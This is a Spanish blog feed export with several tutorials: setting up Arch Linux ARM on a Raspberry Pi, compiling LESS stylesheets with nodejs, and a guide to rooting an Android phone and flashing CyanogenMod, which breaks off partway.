Teniendo el cable de red de la raspberry conectado al router y nuestro ordenador conectado al mismo router estamos listos para arrancar la Raspberry, como no tiene un botón de encendido o apagado solo tendremos que conectar el cable USB y el cargador a la toma de corriente. Yo recomiendo tener un cargador al cual se le pueda quitar el cable USB (que el cargador y el cable USB no estén unidos de manera fija) de esta manera para apagar la Raspberry cuando queramos podremos quitar el cable USB del cargador o también podemos optar por desenchufar el cargador. Esto lo recomiendo ya que al no tener caja la Raspberry evitamos tocar la placa muy amenudo para evitar dañarla (tiene un condensador al lado de la conexión micro USB que corre cierto peligro de se arrancado si no tenemos cuidado). De esta forma dejamos el conector micro USB siempre conectado y reducimos la manipulación de la placa al mínimo.<br />
<br />
Conectamos el cable USB y el cargador a la corriente, si todo va bien veremos unos cuantos LED encenderse (Red, Link, Full Duplex, Power y Ok). Pasados unos cuantos segundos podremos iniciar sesión con SSH para lo cual necesitaremos conocer la IP que ha asignado nuestro router por DHCP a la Raspberry, cosa que podemos ver en el apartado de administración del router.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuiaWm8QaBA0O3CxAL2OjKLtl6avurCHu-1Z8IHxqe6IfBcuME00-rEeq8YQ1dcG3_JXr0cXdIti4h_lcut-hg6v3Li9JXR535AdGlw9TxmMKRGIwBPCe6DRxYpzyvn1H8LrzhlN7mZgNM/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuiaWm8QaBA0O3CxAL2OjKLtl6avurCHu-1Z8IHxqe6IfBcuME00-rEeq8YQ1dcG3_JXr0cXdIti4h_lcut-hg6v3Li9JXR535AdGlw9TxmMKRGIwBPCe6DRxYpzyvn1H8LrzhlN7mZgNM/s320/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-7.png" width="320" /></a></div>
<br />
<h4>
Iniciar sesión conectando via SSH</h4>
La imagen de Arch Linux ARM viene ya por defecto con el demonio sshd instalado. Esto es muy útil ya que nos permite entrar en la Raspberry sin necesidad de tener un monitor o teclado conectado directamente a ella y podemos utilizar los del ordenador en el que trabajamos tal y como si lo hiciésemos en él pero realmente ejecutando los comandos en la Raspberry. Para ello ejecutamos (tal vez cambiando la dirección IP):<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-3.sh"></script>
Nos mostrará el fingerprint de la clave SSH y preguntará si confiamos en ella, después de responder que sí introducimos la clave que por defecto es root. Ya podemos ver el prompt ([root@alarmpi ~]#).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0RS4i3Cy1E_DpHEbHTmhs8TWNa5wqgEEKeB82QO3aUa3LvDbK7dTNxSzrbpmoMtkfUVXl8Uwp2GHaZ4LTwdVctA7iNDTH3CoBMVitasnwe_o6Nmh14epbLAYGm43dpZiZzitdzAUbI_YS/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0RS4i3Cy1E_DpHEbHTmhs8TWNa5wqgEEKeB82QO3aUa3LvDbK7dTNxSzrbpmoMtkfUVXl8Uwp2GHaZ4LTwdVctA7iNDTH3CoBMVitasnwe_o6Nmh14epbLAYGm43dpZiZzitdzAUbI_YS/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-8.png" width="200" /></a></div>
<br />
<h4>
Actualizar los paquetes de la imagen</h4>
Casi seguro (por no decir seguro) que los paquetes de la imagen estén desactualizados ya que Arch Linux es una distribución <a href="http://en.wikipedia.org/wiki/Rolling_release">rolling release</a>, por tanto el primer comando que ejecutaremos será para actualizar a sus últimas versiones todos los paquetes del sistema:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-4.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijAuog9H6YLz5F_MEBcTGCjg8GDhCGaIb-OjgfdXd1r1_ri6DeT04R2DDcxPCkvyc8Kk1HUCgTPI625Y4AKDRvh7cq7L3dJtNMuZ3ob_mj6IP_fG7B0Ra7o6lvEZUbFH_swGb-lMpBsu8w/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijAuog9H6YLz5F_MEBcTGCjg8GDhCGaIb-OjgfdXd1r1_ri6DeT04R2DDcxPCkvyc8Kk1HUCgTPI625Y4AKDRvh7cq7L3dJtNMuZ3ob_mj6IP_fG7B0Ra7o6lvEZUbFH_swGb-lMpBsu8w/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-9.png" width="200" /></a></div>
<br />
Con los cambios realizados al gestor de paquetes de arch linux con los cuales desde la versión 4.0 de pacman los paquetes se firman digitalmente probablemente necesitemos actualizar el paquete pacman e inicializar la cadena de firmas con:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-5.sh"></script>
El paquete haveged proporcionará la entropía necesaria al ejecutar pacman-key, sino pacman-key puede que tardase en ejecutarse mucho tiempo.<br />
<br />
<h4>
Cambiar la clave del usuario root</h4>
La clave por defecto de root es lo siguiente a modificar ya que es conocida y por tanto no es nada segura, por lo que la cambiaremos:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-14.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDZk_C9UNm3R77X9OD7kpRMtuHNcuUaXd_H_prCZKSKBJBcRPuBp84yA9ZxsROgaeXLDnZnghxUaeEN-Yg6APEK5Ij55pLu601N8fEy7a186tAX_6cl3mzZqJWPGddm20Be6fERRv0sEHM/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDZk_C9UNm3R77X9OD7kpRMtuHNcuUaXd_H_prCZKSKBJBcRPuBp84yA9ZxsROgaeXLDnZnghxUaeEN-Yg6APEK5Ij55pLu601N8fEy7a186tAX_6cl3mzZqJWPGddm20Be6fERRv0sEHM/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-10.png" width="200" /></a></div>
<br />
<h4>
Crear un usuario</h4>
Lo siguiente será crear un usuario para no conectarnos siempre con permisos de root, lo que haremos no es muy diferente de lo que haríamos para una instalación de Arch Linux en cualquier computadora:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-11.sh"></script>
Tambien instalamos el paquete sudo para en el momento que necesitemos poder ganar pemisos de super usuario como en el caso de una actualización del sistema.<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-6.sh"></script>
Le damos permisos al usuario que hayamos creado:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-7.sh"></script>
Elimando un # y dejando en el archivo (esto no cambia de la <a href="http://elblogdepicodev.blogspot.com.es/2010/07/guia-instalacion-arch-linux-parte-ii.html">guía de instalación para un ordenado de escritorio</a>)
<br />
<br />
<script src="https://gist.github.com/4572735.js?file=visudo.sh"></script>
Con esto todo los usuarios del grupo wheel, como en el caso del que acabamos de crear, podrán hacer sudo.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVnPAPJf-7EVY0CDiNZ_nJeERV-CVGjJz_xTLdidbU7oJwQgi2cKrBhgkXaqgfqiIbI1HNkM1vN0ne33gg-Gx6_u0Lf8Hr9PhJdVbRSW6kZ5YvB05fDfssEfkOARFhrCKE1IkGmMwo4HZC/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVnPAPJf-7EVY0CDiNZ_nJeERV-CVGjJz_xTLdidbU7oJwQgi2cKrBhgkXaqgfqiIbI1HNkM1vN0ne33gg-Gx6_u0Lf8Hr9PhJdVbRSW6kZ5YvB05fDfssEfkOARFhrCKE1IkGmMwo4HZC/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-11.png" width="200" /></a></div>
<br />
<h4>
Edición propiedades del sistema</h4>
Ahora cambiaremos algunas propiedades del sistema como el idioma, el nombre del sistema, la zona horaria del reloj. Para el idioma editamos el archivo /etc/locale.gen y descomentamos nuestro locale en español según sea nuestra región como puede ser es_ES.UTF-8. Seguidamente lanzaremos el siguiente comando para que el sistema se actualice al nuevo idioma.<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-12.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtFKVaaIrkCXruwpy0Yv6VpsOps8orgCMP_cPsZWCUsAD5Bb6bXCVc-AkaFdZuOBwCVBpaZsv55Ucua4PzAqJfIIZnCrvg1xXG-KmLN92qVnHWRXfTwhd558vvsxhVJJaEA9tcT6tvA-UZ/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtFKVaaIrkCXruwpy0Yv6VpsOps8orgCMP_cPsZWCUsAD5Bb6bXCVc-AkaFdZuOBwCVBpaZsv55Ucua4PzAqJfIIZnCrvg1xXG-KmLN92qVnHWRXfTwhd558vvsxhVJJaEA9tcT6tvA-UZ/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-12.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPoPK2GKAe1yUoJr0b5_COxHPfUrZIgweum6ja_y3EHlNvfcokHZMGHHX_SmZRyXW4LuT5RumULVs29YVXvinecBR1rjjL-dMaAEMTaTbjGRsJCL2SQIia2zoJZRulE35X_9b6NpPL9o45/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPoPK2GKAe1yUoJr0b5_COxHPfUrZIgweum6ja_y3EHlNvfcokHZMGHHX_SmZRyXW4LuT5RumULVs29YVXvinecBR1rjjL-dMaAEMTaTbjGRsJCL2SQIia2zoJZRulE35X_9b6NpPL9o45/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-13.png" width="200" /></a></div>
<br />
Para terminar con el idioma lanzamos los siguientes dos comandos:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-8.sh"></script>
<br />
<h4>
Nombre del sistema</h4>
<div>
Para identificar la máquina podemos darle al sistema un nombre fácil de recordar y que nos permita diferenciarlo de otros. Para ello lanzaremos el siguiente comando modificado el nombre según queramos:</div>
<script src="https://gist.github.com/4572735.js?file=script-13.sh"></script>
<br />
<h4>
Cambiar la zona horaria</h4>
La Raspberry no tiene el hardware del reloj del sistema es por ello que la imagen de Arch Linux ARM arranca el servicio de red ntp para obtener la hora desde internet. Pero seguramente tendremos que actualizar la zona horaria de Arch en la que estemos. En mi caso:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-9.sh"></script>
<br />
<h4>
Partición de memoria y ver memoria libre</h4>
La Raspberry Pi tiene 256 MiB (512MiB en los modelos nuevos) que son compartidos entre la GPU y la CPU. <a href="http://raspberrypi.stackexchange.com/questions/673/what-is-the-optimum-split-of-main-versus-gpu-memory">La memoria dedicada a la GPU y CPU puede modificarse</a> según nuestras necesidades, por ejemplo, si solo nos conectamos a la Raspberry Pi por ssh y no hacemos uso de un entorno de escritorio no hace falta que le dediquemos mucha memoria a la GPU, la GPU solo necesitará más memoria si ejecutamos programas que hagan uso de ella. Esto se configura en el archivo /boot/config.txt con la propiedad gpu_mem. Por lo que podemos editar el archivo y añadir esa propiedad al final de todas con:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=config.txt"></script>
La memoria libre la podemos consultar con cualquiera de los dos siguientes comandos:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-10.sh"></script>
<br />
<h4>
Overclock</h4>
Si queremos sacarle algo más de rendimiento a la RPi podemos subir la frecuencia del procesador. Esto no es ningún peligro y no se pierde la garantía por ello si se usa el valor recomendado de 800 Mhz, la RPi por defecto funciona a 700 Mhz es decir le estamos haciendo un overclock de 100 Mhz. Hay que editar el archivo /boot/config.txt y descomentar la propiedad arm_freq=800.
<br />
<br />
<h4>
Dar color al prompt de la terminal</h4>
Dar color al prompt de la terminal nos ayudará a distinguir mejor donde estamos ejecutando los comandos con lo que para evitar algún riesgo lo podemos hacer. Necesitaremos editar los archivos ~/.bashrc y /root/.bashrc con el siguiente contenido para nuestro usuario (~/.bashrc):<br />
<br />
<script src="https://gist.github.com/4572735.js?file=.bashrc"></script>
Y para el usuario root (/etc/.bash_profile y /root/.bashrc):<br />
<br />
<script src="https://gist.github.com/4572735.js?file=.bash_profile"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLxZSi2kHXlXMbrd87T8NfUHgNgvuc0JQc3YVqxbFZK5bkhP0Qjz_TkaLww768ZRYjzEzzk5wy8_-6hSZkFmQACUGNjmazYh7vBhRXyggSOxyKMb29q9xjdCbDqkgKlpVcUYZgiiwLr6uE/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLxZSi2kHXlXMbrd87T8NfUHgNgvuc0JQc3YVqxbFZK5bkhP0Qjz_TkaLww768ZRYjzEzzk5wy8_-6hSZkFmQACUGNjmazYh7vBhRXyggSOxyKMb29q9xjdCbDqkgKlpVcUYZgiiwLr6uE/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-14.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj88lQ8t_wb5ZTHWgBDkX9h3reK3NvGrjYS3WewajNNS6Tj7aKwUrPWroVmMt0CxPGeESNXt7gjbJLvZHI45HZQSCf5xBIG2Tpp9GXOKG4uTHXk98HLnOHB0PS7F1A6olFf752PsuWNYHVU/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj88lQ8t_wb5ZTHWgBDkX9h3reK3NvGrjYS3WewajNNS6Tj7aKwUrPWroVmMt0CxPGeESNXt7gjbJLvZHI45HZQSCf5xBIG2Tpp9GXOKG4uTHXk98HLnOHB0PS7F1A6olFf752PsuWNYHVU/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-15.png" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7fxrrBYfuwxUfD7i2Z517InE8d2KXVIZxh7mofTm5e2qyaoTwdDP_350T8n36i72eS7X5-8Zzfk2iHx01MjhMGp23b7isTNw6BYorPl1O5dIKIMdJjVWBRhBuVXt6ioOjLZaj11KOufCj/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7fxrrBYfuwxUfD7i2Z517InE8d2KXVIZxh7mofTm5e2qyaoTwdDP_350T8n36i72eS7X5-8Zzfk2iHx01MjhMGp23b7isTNw6BYorPl1O5dIKIMdJjVWBRhBuVXt6ioOjLZaj11KOufCj/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-16.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY11OK2UxJJ5OGA4LsqS6LTboIGMnLJ10V8m38GusOOq0anUYL-8v5hcJcI_FeXFI9aH0aruh1G0HNbZLzqOG2mgRClrp3W6_n60wfN7Wex_Y2oi3AEXrSVXZ8QEqVgLr10A_Gc3Y2dIq3/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY11OK2UxJJ5OGA4LsqS6LTboIGMnLJ10V8m38GusOOq0anUYL-8v5hcJcI_FeXFI9aH0aruh1G0HNbZLzqOG2mgRClrp3W6_n60wfN7Wex_Y2oi3AEXrSVXZ8QEqVgLr10A_Gc3Y2dIq3/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-17.png" width="200" /></a></div>
<br />
Si queremos autocompletado en el comando sudo deberemos añadir lo siguiente al archivo .bashrc de nuestro usuario:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=.bashrc-2"></script>
Y estos son los pasos básicos para tener la Raspberry Pi funcionando. De momento no tenemos algo que nos aporte valor pero la instalación de algunos programas que nos lo proporcionarán como programa de descargas torrent, servidor web con php, ftp u otros los explicaré en la segunda parte de esta Guía de instalación Raspberry Pi. El <a href="http://us.mirror.archlinuxarm.org/arm/">software que tenemos a nuestra disposición en Arch Linux ARM</a> salvo algunas excepciones es mucho de lo que tenemos en <a href="http://www.archlinux.org/">Arch Linux</a> prácticamente para cada necesidad tengamos una o más opciones entre las que elegir y la <a href="https://wiki.archlinux.org/">wiki de Arch Linux</a> es una de los mejores recursos para aprender como instalarlos y usarlos, todo ello con la característica de Arch Linus de tener siempre las últimas versiones de cada paquete, los paquetes de Arch Linux ARM van a la par de los que encontramos en Arch Linux.<br />
<br />
La siguiente página (<a href="http://smaug.mooo.com/raspberrypi" rel="nofollow" target="_blank">La guarida de Smaug</a>) que he creado es es una muestra y un adelanto de algunas funciones que podemos obtener con una placa de este tipo que comentaré en la siguiente parte de esta guía. Nota: puede que en algún momento la página anterior no sea accesible ya que no tengo siempre encendida la Raspberry.<br />
<br />
Los elementos básicos para usar este miniordenador son la <a href="http://amzn.to/2cN0d6L">placa de la Raspberry Pi</a>, una <a href="http://amzn.to/2dfFJT7">cargador de 3A</a> junto con una <a href="http://amzn.to/2cN0SFi">tarjeta SD</a>.<br/>
<br />
Referencia:<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/05/raspberry-pi-desempaquetado-unboxing.html">Raspberry Pi, desempaquetado («unboxing»)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch_22.html">Raspberry Pi, Guía instalación (Parte II) Programas</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">Dejar procesos vivos de conexión SSH con screen</a><br />
<a href="http://www.raspberrypi.org/">Raspberry Pi</a><br />
<a href="http://archlinuxarm.org/">Arch Linux ARM</a><br />
<a href="http://us.mirror.archlinuxarm.org/arm/">Paquetes de Arch Linux ARM</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-57446500886412264502012-06-01T20:51:00.001+02:002013-01-27T03:26:08.847+01:00Hojas de estilo CSS con less<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="less" border="0" height="81" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiknyW64MbTiCe4Bu31fslS7qX80qUO52Ca5i8YPFVQHGqgEKhwutm8jhHp8Ik_QYvjsAJKt-tXGQA_9ikyo3qnKB8B_xztMcZK-gmEPa8X0NKqHmgg04i_Ek5yqY7v2C3HHfeAnfzyxvz/s200/less.png" title="less" width="200" /></div>
Hay herrmientas que surgen con el paso del tiempo y uno se pregunta como podría haber vivido antes sin ella o como no ha existido desde un principio. Una de ellas podría ser perfectamente <a href="http://lesscss.org/">less</a>. Esta herramienta permite generar archivos css utilizando una notación más legible, mantenible y compacta que se agradece cuando estamos desarrollando un proyecto con gran cantidad de trabajo de diseño además de poder usar variables y operaciones que la propia notación de las hojas de estilo css no soportan. En la propia página de <a href="http://lesscss.org/">less</a> puede verse como es el lenguaje, no es muy complicado y en unas pocas horas ya estamos capacitados para utilizarlo de forma básica.<br />
<br />
Los archivos less se compilan con <a href="http://nodejs.org/">nodejs</a> generando archivos css tradicionales. Esta compilación no hace falta que la hagamos nosotros a través de nodejs ya que se puede delegar en el navegador del usuario si no nos importa cargar un archivo js más en nuestra página y vemos que la carga no se ralentiza en demasía. En la propia página de inicio de <a href="http://lesscss.org/">less</a> está perfectamente explicado con un ejemplo de dos líneas.<br />
<br />
Si optamos por compilar archivos less primeramente deberemos instalar el paquete <a href="http://nodejs.org/">nodejs</a> que para Windows hay un binario y para otros sistemas quizá haya que compilarlo desde el código fuente. En <a href="http://www.archlinux.org/">Arch Linux</a>, como siempre, es tan fácil instalarlo como ejecutar un comando y tendremos su la última versión cada vez que hagamos una actualización del sistema:
<br />
<br />
<div class="codigo">
<pre>$ yaourt -S nodejs</pre>
</div>
<br />
Una vez que tenemos nodejs <a href="https://github.com/cloudhead/less.js/zipball/master">descargaremos la propia librería less</a> y con el siguiente comando podremos compilar un archivo less:
<br />
<br />
<div class="codigo">
<pre>$ lessc ejemplo.less > ejemplo.css
$ lessc -x ejemplo.less > ejemplo.css</pre>
</div>
<br />
Con la opción «-x» generamos un archivo eliminando los espacios innecesarios lo que hará que el archivo sea más pequeño.
Si en vez de ejecutarlo desde la línea de comandos queremos incluir la compilación dentro de la herramienta de construcción que utilicemos podemos hacerlo con lo siguiente en caso de utilizar Gradle:
<br />
<br />
<div class="codigo">
<pre>task less << {
ant.exec(executable: "${LIB_HOME}/less.js-1.0/bin/lessc", output: 'src/main/webapp/css/ejemplo.css') {
arg(line: 'src/main/webapp/css/less/ejemplo.less')
}
}</pre>
</div>
<br />
Y con Ant sería similar:
<br />
<br />
<div class="codigo">
<pre><target name="less">
<exec executable="${LIB_HOME}/less.js-1.0/bin/lessc" output="src/main/webapp/css/ejemplo.css">
<arg line="src/main/webapp/less/ejemplo.less"/>
</exec>
</target></pre>
</div>
<br />
Referencia:<br />
<a href="http://lesscss.org/">http://lesscss.org/</a><br />
<a href="http://twitter.github.com/bootstrap/">http://twitter.github.com/bootstrap/</a><br />
<a href="http://www.archlinux.org/packages/community/x86_64/nodejs/">http://www.archlinux.org/packages/community/x86_64/nodejs/</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/11/como-crear-y-usar-sprites-en-paginas.html">Como crear y usar sprites en páginas HTML</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-27752305321696307342012-05-25T19:10:00.002+02:002012-05-26T21:33:04.717+02:00Guía instalación CyanogenMod<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Android" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpZJC5hLRBkE0cKCBQz6E5npf5YsZAfgyWsYNuPqwKVtqkfYIXYMXM_apkdO0c_zsTKKF583FbLKoagAkYK04Fn-oFxazG1gfIXit6IqWeeoPzBIKvH768ZhawzoUNjxVkMJzMw8Q3dF2h/s1600/android.png" title="Android" /></div>
</div>
Uno de los defectos que tienen los móviles android es que los fabricantes y las operadores si ofrecen actualizaciones a nuevas versiones de android lo hacen tarde y en algunos casos ni eso con lo que al cabo de una año ya no tienes la última versión de andoid en un móvil que por hardware sería perfectamente capaz. Esto causa uno de los problemas en android, fragmentación en el ecosistema, dificultando el desarrollo de las aplicaciones y obligando a soportar un mayor número de versiones andoid en vez de unas pocas.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="clear: right; display: inline !important; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;">
<img alt="CyanogenMod" border="0" height="68" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRuJmV0CED8FtPMIW-s9t1nUWgYN2ApoDpbkXR-9gJnAAqbSQ5acCbh4yIxuHXrHsiveb1joap9GDWXeSpOPo4w2zsZ_RszAzpqRaZIPiaGNJNYIzDbLI8sDOXvqUnVa6r2Ko1Vtt4eke/s320/cyanogenmod.png" title="CyanogenMod" width="320" /></div>
A raiz de este problema han ido surgiendo varias roms como <a href="http://www.cyanogenmod.com/">CyanogenMod</a> o <a href="http://en.miui.com/">MIUI</a> que proporcionan versiones de android más actualizadas y modificadas partiendo del código original proporcionado por google. CyanogenMod es una de las roms más longevas, que soporta mayor número de dispositivos y de las más estables. Además del motivo anterior de tener una versión más actualizada de android, CyanogenMod puede solucionar algunos defectos que tiene el android original del teléfono. En mi caso el teléfono venía con froyo (2.2) y CyanogenMod me ha permitido disponer de gingerbread (2.3) además de corregir algunos problemas como poder desactivar la respuesta háptica (vibración) de los botones y de los bloqueos que se producían en algunas ocasiones al activar y desactivar la radio. Además CyanogenMod tiene muchas más opciones de personalización que las originales de android.<br />
<br />
Los pasos a seguir para realizar la instalación de CyanogenMod son básicamente dos:<br />
<ul>
<li>Rootear el teléfono lo que nos permitirá instalar bootloader y flashear CyanogenMod</li>
<li>Flashear CyanogenMod y las aplicaciones de Google.</li>
</ul>
<span style="color: #cc0000;"><b>Importante</b>: rootear el teléfono puede acabar con la garantía y si no se hace de forma correcta el teléfono puede quedar tal útil como un ladrillo («bricked»). Por tanto, es conveniente saber que es lo que se esta haciendo y cuales son los pasos a seguir. No me hago responsable de los ladrillos creados por esta guía.</span><br />
<br />
Por tanto para evitar problemas es conveniente realizar la operación con la batería del móvil completamente cargada ,conectado al ordenador ya que uno de los motivos del los móviles brickeados es apagar el móvil cuando se está en el proceso de flasheo de la rom y realizando previamente una copia de seguridad de toda la información del teléfono ya que se perderá en el proceso.<br />
<br />
Una vez informados de que es lo que hay que hacer y de las advertencias estamos listo para instalar CyanogenMod. El proceso explicado en la propia página de CyanogenMod para conseguir permisos de root a mi no me funcionó de tal forma que lo realicé con el programa <a href="http://shortfuse.org/?page_id=2">SuperOneClickRoot</a>, que lo realiza pulsando un botón. Además necesitaremos la rom adecuada para nuestro móvil, buscaremos entre los soportados y descargaremos la <a href="http://wiki.cyanogenmod.com/wiki/Latest_Version">última versión estable</a>. También necesitaremos las <a href="http://wiki.cyanogenmod.com/wiki/Latest_Version#Google_Apps">aplicaciones de google</a> y por último el <a href="http://developer.android.com/sdk/index.html">SDK de android</a> con las platform-tools instaladas.<br />
<br />
La última versión estable y las aplicaciones de google hay que copiarlas en la carpeta raíz de la tarjeta SD. Conectamos el móvil con el cable USB al ordenador y activamos la depuracion USB en Ajustes > Aplicaciones > Desarrollo > Depuración USB. Iniciamos SuperOnClickRoot y pulsamos el botón Root, tal vez se reinicie el teléfono varias veces y se nos preguntará si queremos instalar busy box, le damos que sí. Si todo hay ido bien ya tenemos rootedo el teléfono. Para comprobarlo abriremos una consola y con el comando adb shell de las platform-tools del SDK android deberemos ver en el prompt el caracter #, si el caracter es un $ el rooteo no funcionó. A partir de aquí los pasos son los mismos que los explicados en las secciones de las guías de cyanogenmod, <a href="http://wiki.cyanogenmod.com/wiki/Motorola_Defy:_Full_Update_Guide">«Installing bootmenu & the ClockworkMod Recovery» y «Flashing CyanogenMod»</a>. Deberemos instalar el bootloader para poder realizar el flasheo, reinicia el telefono y <a href="http://wiki.cyanogenmod.com/wiki/Motorola_Defy:_bootmenu">entrar en el bootloader</a>, limpiar el teléfono con las operaciones wipe e instalar el zip con la rom de cyanogenmod y el zip con las aplicaciones de google desde el bootloader.<br />
<br />
Estas son algunas capturas de como se ve CyanogenMod en su versión 7.1<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpdX7VoRQmUdVoGNyIIaHVLj7QujOFOATL0I_o_gEpOeYbolBrJ87fDrjfg7tt51qvHSSbo2_5nvXzt9heq5RRnz62hvFUuO2ua99Ea1RXk78EAAzkcFD_I9BZcMffa4QhZWdxrgxIaa27/s1600/cyanogenmod-7.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpdX7VoRQmUdVoGNyIIaHVLj7QujOFOATL0I_o_gEpOeYbolBrJ87fDrjfg7tt51qvHSSbo2_5nvXzt9heq5RRnz62hvFUuO2ua99Ea1RXk78EAAzkcFD_I9BZcMffa4QhZWdxrgxIaa27/s320/cyanogenmod-7.1.png" width="177" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMBJ4RgpZSSVQXHu_NvEVCwIXoi9_vqYMHvi7Jc4cL9TJ8NNV0LgJABPDecJosjbHdHHsIqC0_W5pii7xBlNztxnmEi67lH5y1DPMYu-BpRf4lQOiWrl7b6ARuRIjSZsY1hXwn81Q57542/s1600/cyanogenmod-7.1-ajustes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 